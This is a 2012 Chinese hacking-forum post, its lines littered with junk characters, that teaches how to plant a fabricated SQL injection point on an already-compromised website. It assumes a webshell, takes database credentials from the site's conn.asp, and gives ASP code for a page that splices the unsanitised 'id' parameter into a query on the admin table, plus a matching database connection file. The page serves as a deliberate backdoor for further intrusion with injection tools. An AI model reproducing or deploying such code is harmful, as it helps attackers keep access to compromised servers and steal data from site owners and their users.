找回密码
 立即注册
查看: 2452|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵, r  y3 l2 U* [* N* {9 _/ a
9 E, H( f  e+ s; x7 I2 x
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息5 ~) `5 h, l& p
. Z% u% ^. N$ M% l  V
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
% a% ?* Y- m# v* k: ]! u0 _
9 ?9 o% g1 N& z8 u  m首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和6 x; F" C  `6 {- f' c0 |9 ?( m) |5 @
* [/ |, A( E3 g; V- g$ }4 e
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表; M; W+ `. `5 I! G6 l- v
8 o4 o- @0 g" G2 D( M6 ]! Q& |0 f
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:  B1 b2 F6 L, Z3 g

* [" U1 f: V( F! L程序代码1 _0 x) M5 a8 |  i. ]
<!--#include file="xx.asp"-->
1 t0 J% H' _+ `; P4 \6 C, M! K<%
& ]" o7 b" L# V! I- Aset rs=server.createobject("ADODB.recordset")
/ U# x1 O! U9 Sid = request("id")
2 Y6 }$ g7 G) B3 n9 NstrSQL = "select * from admin where id=" & id' e5 @; q# b' N9 B) N+ k: e$ W
rs.open strSQL,conn,1,3
& t7 |5 A1 }  v3 n; G) _2 Xrs.close
: u; H- Y6 k* ^. w1 M2 R& p' L%>2 x: k2 T/ {9 {3 Y; l8 z9 K9 s' {: h

9 Y& Q1 g0 _4 [6 b* s- r, c# d& s把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
7 k0 z( G/ o* V8 a6 `! q
" p: C8 h* I& m0 v: T& W0 m3 x你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
8 K+ Y3 F: v, ?5 x8 ^/ _% P, s7 o+ R
9 Q0 ~$ K# {8 {' g然后就要构造一个连接数据库的文件了,代码如下:1 j) Q! G+ Q6 G2 l  F7 T
程序代码
( I9 c0 ~( y$ j6 h<%        
1 e% ^! k9 t' X& h# I9 astrSQLServerName = "000.000.000.000"     '服务器名称或地址2 \. r, ^. q  ^9 G
strSQLDBUserName = "sqlname"         '数据库帐号
* C; z8 f. n1 U4 s* D/ Q7 A+ IstrSQLDBPassword = "sqlpass"         '数据库密码
2 y% ?8 j$ A; H+ tstrSQLDBName = "sqldataname"           '数据库名称0 E- I( Z/ @+ {6 m8 l1 ?! G! l  K
Set conn = Server.CreateObject("ADODB.Connection")
( B* y$ {5 W8 d+ @* t% Q; tstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
, X8 n) M2 R3 r3 m$ Econn.open strCon3 w; U6 S$ [  n9 l# l
%>
- M9 U3 |# @1 K# ~, K+ t+ J8 \7 `+ z! p/ y) v9 Z" e* x2 E
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
- a+ E7 |+ V3 n- q  M" e% c2 A1 L6 r9 O2 Z: V
就这样,正常情况下,就OK了,伪造成功……0 W8 r3 Y$ }5 S$ o" J3 B! Y
& }6 B0 D- G8 ]9 t
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表